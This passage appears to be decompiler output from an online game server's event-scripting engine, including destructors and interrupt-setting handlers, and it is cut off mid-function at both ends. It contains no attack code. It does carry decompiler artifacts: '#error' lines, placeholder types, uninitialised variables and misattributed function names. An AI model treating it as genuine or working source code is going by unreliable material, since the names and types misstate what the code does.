PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 652F1C: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__SendMapInMobInfo____vftable_)(int tr); //----- (004D0D40) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::NPCChatNoFacecut *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 652F34: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__NPCChatNoFacecut____vftable_)(int tr); //----- (004D0D50) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScinarioCodeParty::_ScinarioCodeParty(PineEventScriptNode::ScinarioCodeParty *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 652F4C: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__ScinarioCodeParty____vftable_)(int tr); //----- (004D0D60) -------------------------------------------------------- void __thiscall PineEventScriptNode::HasAbstate::_HasAbstate(PineEventScriptNode::HasAbstate *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 652F64: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__HasAbstate____vftable_)(int tr); //----- (004D0D70) -------------------------------------------------------- void __thiscall PineEventScriptNode::BroadcastCode::_BroadcastCode(PineEventScriptNode::BroadcastCode *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 652F7C: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__BroadcastCode____vftable_)(int tr); //----- (004D0D80) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::GTRegisterNPC *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 652F94: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__GTRegisterNPC____vftable_)(int tr); //----- (004D0D90) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::RegisterGTPortal *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::RegisterGTPortal::_RegisterGTPortal(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004D0DB0) -------------------------------------------------------- void *__thiscall PineEventScriptNode::SaveLinkto::_vector_deleting_destructor_(PineEventScriptNode::SaveLinkto *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScriptBase::_ScriptBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004D0DD0) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ClearSaveLinkto::_vector_deleting_destructor_(PineEventScriptNode::ClearSaveLinkto *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScriptBase::_ScriptBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004D0DF0) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ID_Fail::_scalar_deleting_destructor_(PineEventScriptNode::ID_Fail *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScriptBase::_ScriptBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004D0E10) -------------------------------------------------------- void *__thiscall PineEventScriptNode::SendMapInMobInfo::_vector_deleting_destructor_(PineEventScriptNode::SendMapInMobInfo *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScriptBase::_ScriptBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004D0E30) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::NPCChatNoFacecut *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScriptBase::_ScriptBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004D0E50) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ScriptBase::_scalar_deleting_destructor_(PineEventScriptNode::ScinarioCodeParty *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScinarioCodeParty::_ScinarioCodeParty(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004D0E70) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::HasAbstate *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::HasAbstate::_HasAbstate(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004D0E90) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::BroadcastCode *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::BroadcastCode::_BroadcastCode(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004D0EB0) -------------------------------------------------------- void *__thiscall PineEventScriptNode::GTRegisterNPC::_scalar_deleting_destructor_(PineEventScriptNode::GTRegisterNPC *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScriptBase::_ScriptBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004D0ED0) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::GTMobRegenKey *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScriptBase::_ScriptBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004D0EF0) -------------------------------------------------------- #error "4D0EF0: undefined or illegal type '#1265' (funcsize=8)" //----- (004D0F20) -------------------------------------------------------- #error "4D0F20: undefined or illegal type '#1265' (funcsize=32)" //----- (004D0F90) -------------------------------------------------------- #593 *__thiscall PineEventScriptNode::OtherStatement::os_ShineObject(PineEventScriptNode::OtherStatement *this, PineScriptStack::ProcessStack *ps) { PineEventScriptNode::OtherStatement *v2; // esi@1 PineScriptToken *v3; // eax@1 #593 *result; // eax@2 unsigned __int16 v5; // ax@3 #593 *v6; // eax@3 #593 *v7; // esi@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, unk_653220); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = unk_653220; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = PineEventScriptNode::Identify::i_GetVariable(&v2->os_Ident, ps); if ( v3 ) { v5 = PineScriptToken::pst_GetNumber(v3, 0); v6 = ShineObjectManager::som_GetObjectAbsolute(&shineobjmanager, v5); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_653220); result = v7; } else { AssertClass::ac_AssertFail(&shineassert, unk_6531F0, 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_653220); result = 0; } return result; } //----- (004D1090) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StatePermillage::sa_Step(PineEventScriptNode::StatePermillage *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::StatePermillage *v4; // esi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineScriptToken *v8; // esi@1 unsigned int v9; // eax@2 char *v10; // eax@2 int v11; // ecx@2 int v12; // ST0C_4@2 PineScriptToken *v13; // eax@2 MobTacticElement::MobActionBase *v14; // eax@2 unsigned __int16 v15; // ax@3 unsigned __int16 v16; // si@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::StatePermillage::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::StatePermillage::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "StatePermillage : "); v8 = PineEventScriptNode::Identify::i_GetVariable(&v4->sp_Var, ps); if ( v8 ) { v9 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v9; v10 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v9]]; v11 = *((_DWORD *)v10 + 8193) & (*((_DWORD *)v10 + 8192) + 1); *((_DWORD *)v10 + 8192) = v11; v12 = *(_WORD *)&v10[2 * v11]; v13 = PineScriptToken::pst_Clear(v8); PineScriptToken::pst_MergeNumber(v13, v12); v14 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)v8); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v14, &trc_eol); } v15 = PineScriptStack::ProcessStack::ps_Pop(ps); --funcallanalizer.fca_stackpoint; v16 = v15; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::StatePermillage::sa_Step"); return v16; } //----- (004D11E0) -------------------------------------------------------- #error "4D11E0: undefined or illegal type '#593' (funcsize=71)" //----- (004D12C0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineScriptFile::sa_Step(PineEventScriptNode::ShineScriptFile *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineScriptFile *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@1 int v9; // eax@1 MobTacticElement::MobActionBase *v10; // eax@4 MobTacticElement::MobActionBase *v11; // eax@5 char *v12; // eax@5 unsigned __int16 result; // ax@7 char v14; // [sp+Ch] [bp-118h]@1 FunctionEntarance _; // [sp+10h] [bp-114h]@1 PineScriptToken scriptname; // [sp+14h] [bp-110h]@1 unsigned int v17; // [sp+114h] [bp-10h]@1 int v18; // [sp+120h] [bp-4h]@1 v4 = this; v17 = (unsigned int)&v14 ^ __security_cookie; _.fe_FunctionCode = unk_653300; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, unk_653300); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = unk_653300; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v18 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &unk_6532EC); PineScriptToken::pst_Clear(&scriptname); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v18) = 1; v9 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&scriptname, ps); *(_DWORD *)&v14 = v9 != 0; if ( v9 != 0 ) { if ( PineScriptToken::operator__(&scriptname, byte_635E1E) ) { v10 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, "Unset script file"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v10, &trc_eol); *(_DWORD *)&ps->gap10114[28] = 0; } else { v11 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)&scriptname); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v11, &trc_eol); MoveManager::MoveManager((DiceTaiSai *)&scriptname); *(_DWORD *)&ps->gap10114[28] = KQScriptManager::operator__(&kqscriptmanager, v12); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v18) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&scriptname); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_653300); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineScriptFile::sa_Step: wrong argument", 0); LOBYTE(v18) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&scriptname); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_653300); } __security_check_cookie((unsigned int)&v14 ^ v17); return result; } //----- (004D14B0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineTimeLimit::sa_Step(PineEventScriptNode::ShineTimeLimit *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineTimeLimit *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // edx@1 int v9; // eax@1 MobTacticElement::MobActionBase *v10; // eax@3 MobTacticElement::MobActionBase *v11; // eax@3 MobTacticElement::MobActionBase *v12; // eax@3 Movie::TimeLimit *v13; // edi@3 int v14; // ebp@3 char *v15; // eax@3 unsigned __int16 result; // ax@4 char v17; // [sp+Ch] [bp-218h]@1 FunctionEntarance _; // [sp+10h] [bp-214h]@1 PineScriptToken arg; // [sp+14h] [bp-210h]@1 PineScriptToken timeunit; // [sp+114h] [bp-110h]@1 unsigned int v21; // [sp+214h] [bp-10h]@1 int v22; // [sp+220h] [bp-4h]@1 v4 = this; v21 = (unsigned int)&v17 ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::ShineTimeLimit::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineTimeLimit::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineTimeLimit::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v22 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineTimeLimit : "); PineScriptToken::pst_Clear(&timeunit); LOBYTE(v22) = 1; PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &timeunit, ps); PineScriptToken::pst_Clear(&arg); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v22) = 2; v9 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&arg, ps); *(_DWORD *)&v17 = v9 != 0; if ( v9 != 0 ) { v10 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)&timeunit); v11 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v10, &stru_63C688); v12 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v11, (MobTacticElement::MobActionArgument *)&arg); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v12, &trc_eol); v13 = *(Movie::TimeLimit **)&ps->gap10114[4]; v14 = PineScriptToken::pst_GetNumber(&arg, 0); MoveManager::MoveManager((DiceTaiSai *)&timeunit); v13 = (Movie::TimeLimit *)((char *)v13 + 66108); Movie::TimeLimit::tl_SetTimeLimit(v13, v15, v14); Movie::TimeLimit::tl_LeftTick(v13); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v22) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&arg); LOBYTE(v22) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&timeunit); --funcallanalizer.fca_stackpoint; v22 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineTimeLimit::sa_Step"); } else { AssertClass::ac_AssertFail(&shineassert, unk_653330, 0); LOBYTE(v22) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&arg); LOBYTE(v22) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&timeunit); --funcallanalizer.fca_stackpoint; v22 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineTimeLimit::sa_Step"); } __security_check_cookie((unsigned int)&v17 ^ v21); return result; } //----- (004D16F0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineInterruptSet::sa_Step(PineEventScriptNode::ShineInterruptSet *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineInterruptSet *v4; // esi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineScriptToken *v8; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v9; // edx@1 const char *v10; // eax@3 int v11; // eax@3 unsigned __int16 v12; // si@5 PineScriptToken *v13; // edi@6 int v14; // esi@6 MobTacticElement::MobActionBase *v15; // eax@11 char *v16; // esi@12 const char *v17; // eax@12 void *v18; // ecx@12 char *v19; // esi@16 const char *v20; // eax@16 Movie::Theater *v21; // ecx@16 const char *v22; // eax@60 const char *v23; // eax@61 const char *v25; // [sp-4h] [bp-658h]@2 int v26; // [sp+0h] [bp-654h]@2 char v27; // [sp+0h] [bp-654h]@24 int num; // [sp+10h] [bp-644h]@6 signed int v29; // [sp+14h] [bp-640h]@6 char index[4]; // [sp+1Ch] [bp-638h]@3 int v31; // [sp+20h] [bp-634h]@3 int v32; // [sp+24h] [bp-630h]@3 int v33; // [sp+28h] [bp-62Ch]@3 Name4 Flagindex; // [sp+2Ch] [bp-628h]@12 PineScriptToken thisa; // [sp+3Ch] [bp-618h]@11 PineScriptToken exp[3]; // [sp+13Ch] [bp-518h]@6 PineScriptToken flag; // [sp+43Ch] [bp-218h]@1 PineScriptToken tkn; // [sp+53Ch] [bp-118h]@1 unsigned int v39; // [sp+640h] [bp-14h]@1 int v40; // [sp+650h] [bp-4h]@1 int v41; // [sp+654h] [bp+0h]@1 v4 = this; v39 = (unsigned int)&v41 ^ __security_cookie; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineInterruptSet::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineInterruptSet::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v40 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "InterruptSet : "); PineScriptToken::pst_Clear(&flag); LOBYTE(v40) = 1; v8 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &flag, ps); PineScriptToken::pst_ToLower(v8); PineScriptToken::pst_Clear(&tkn); v9 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v40) = 2; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v9->sa_Calculate)(&tkn, ps) != 0 ) { MoveManager::MoveManager((DiceTaiSai *)&tkn); v33 = 0; v32 = 0; v31 = 0; *(_DWORD *)index = 0; strncpy(index, v10, 0x10u); v11 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v26 = 0; if ( v11 == 0 ) { v25 = "PineEventScriptNode::ShineInterruptSet::sa_Step : No num"; goto LABEL_5; } num = PineScriptToken::pst_GetNumber(&tkn, 0); _eh_vector_constructor_iterator_( exp, 0x100u, 3, (void (__thiscall *)(void *))PineScriptToken::pst_Clear, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); LOBYTE(v40) = 3; v13 = exp; v14 = (int)&v4->baseclass_0.os_Express[2]; v29 = 3; do { if ( *(_DWORD *)v14 ) (*(void (__stdcall **)(PineScriptToken *, PineScriptStack::ProcessStack *))(**(_DWORD **)v14 + 8))(v13, ps); else PineScriptToken::pst_Clear(v13); v14 += 4; ++v13; --v29; } while ( v29 ); v15 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)&flag); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v15, &trc_eol); memcpy(&thisa, &flag, sizeof(thisa)); LOBYTE(v40) = 4; if ( PineScriptToken::operator__(&thisa, index_areaentry.pst_Buffer) ) { Movie::Theater::t_SetInterruptAreaEntry(*(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); v16 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 27653; MoveManager::MoveManager((DiceTaiSai *)exp); *((_DWORD *)v16 + 7) = 0; *((_DWORD *)v16 + 6) = 0; *((_DWORD *)v16 + 5) = 0; *((_DWORD *)v16 + 4) = 0; *((_DWORD *)v16 + 3) = 0; *((_DWORD *)v16 + 2) = 0; *((_DWORD *)v16 + 1) = 0; *(_DWORD *)v16 = 0; strncpy(v16, v17, 0x20u); AxialListPacketBroadcast::AxialListPacketBroadcast((AxialListPacketBroadcast *)&Flagindex, &gpp, 34); v18 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77292); LOBYTE(v40) = 5; if ( v18 != 0 ) { ShineObjectClass::ShineObject::so_AllInMap(v18, (int)&Flagindex, 0); LOBYTE(v40) = 4; AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)&Flagindex); } else { AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LOBYTE(v40) = 4; AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)&Flagindex); } goto LABEL_62; } if ( PineScriptToken::operator__(&thisa, index_arealeave.pst_Buffer) ) { Movie::Theater::t_SetInterruptAreaLeave(*(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); v19 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 27655; MoveManager::MoveManager((DiceTaiSai *)exp); *((_DWORD *)v19 + 7) = 0; *((_DWORD *)v19 + 6) = 0; *((_DWORD *)v19 + 5) = 0; *((_DWORD *)v19 + 4) = 0; *((_DWORD *)v19 + 3) = 0; *((_DWORD *)v19 + 2) = 0; *((_DWORD *)v19 + 1) = 0; *(_DWORD *)v19 = 0; strncpy(v19, v20, 0x20u); AxialListPacketBroadcast::AxialListPacketBroadcast((AxialListPacketBroadcast *)&Flagindex, &gpp, 34); v21 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v40) = 6; Movie::Theater::t_AllInMap(v21, (AxialListIterator *)&Flagindex); LOBYTE(v40) = 4; AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)&Flagindex); } else { if ( PineScriptToken::operator__(&thisa, index_npcclickhandle.pst_Buffer) ) { Movie::Theater::t_SetInterruptNPCClickHandle(*(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_npcclickindex.pst_Buffer) ) { Movie::Theater::t_SetInterruptNPCClickIndex(*(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_npcclickany.pst_Buffer) ) { Movie::Theater::t_SetInterruptNPCClickAny(*(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_millisec.pst_Buffer) ) { v27 = 109; } else { if ( PineScriptToken::operator__(&thisa, index_sec.pst_Buffer) ) { Movie::Theater::t_SetInterruptTimeInterval( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num, 83); goto LABEL_62; } if ( !PineScriptToken::operator__(&thisa, index_minute.pst_Buffer) ) { if ( PineScriptToken::operator__(&thisa, index_hour.pst_Buffer) ) { Movie::Theater::t_SetInterruptTimeInterval( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num, 72); } else { if ( PineScriptToken::operator__(&thisa, index_hplow.pst_Buffer) ) { Movie::Theater::t_SetInterruptHPLow(*(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_mobeliminate.pst_Buffer) ) { Movie::Theater::t_SetInterruptMobEliminate( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_playereliminate.pst_Buffer) ) { Movie::Theater::t_SetInterruptPlayerEliminate( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_guildliminate.pst_Buffer) ) { Movie::Theater::t_SetInterruptGuildEliminate( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_timeout.pst_Buffer) ) { Movie::Theater::t_SetInterruptTimeOut( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_deadhandle.pst_Buffer) ) { Movie::Theater::t_SetInterruptDeadHandle( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_deadindex.pst_Buffer) ) { Movie::Theater::t_SetInterruptDeadIndex( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_killenemy.pst_Buffer) ) { Movie::Theater::t_SetInterruptKillEnemy( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_targetchange.pst_Buffer) ) { Movie::Theater::t_SetInterruptTargetChange( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_playerdead.pst_Buffer) ) { Movie::Theater::t_SetInterruptPlayerDead( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_admin.pst_Buffer) ) { ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_Admin( (ScriptInterrupt::ScriptInterruptManager *)(*(_DWORD *)&ps->gap10114[4] + 66124), (Name4 *)index); } else { if ( PineScriptToken::operator__(&thisa, index_pickupitemindex.pst_Buffer) ) { Movie::Theater::t_SetInterruptPickUpItemIndex( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_hpfull.pst_Buffer) ) { Movie::Theater::t_SetInterruptHPFull( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { if ( PineScriptToken::operator__(&thisa, index_hpupper.pst_Buffer) ) { Movie::Theater::t_SetInterruptHPUpper( *(Movie::Theater **)&ps->gap10114[4], (Name4 *)index, exp, num); } else { MoveManager::MoveManager((DiceTaiSai *)&flag); Name4::Name4(&Flagindex, v22); if ( !ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_Unit( (ScriptInterrupt::ScriptInterruptManager *)(*(_DWORD *)&ps->gap10114[4] + 66124), 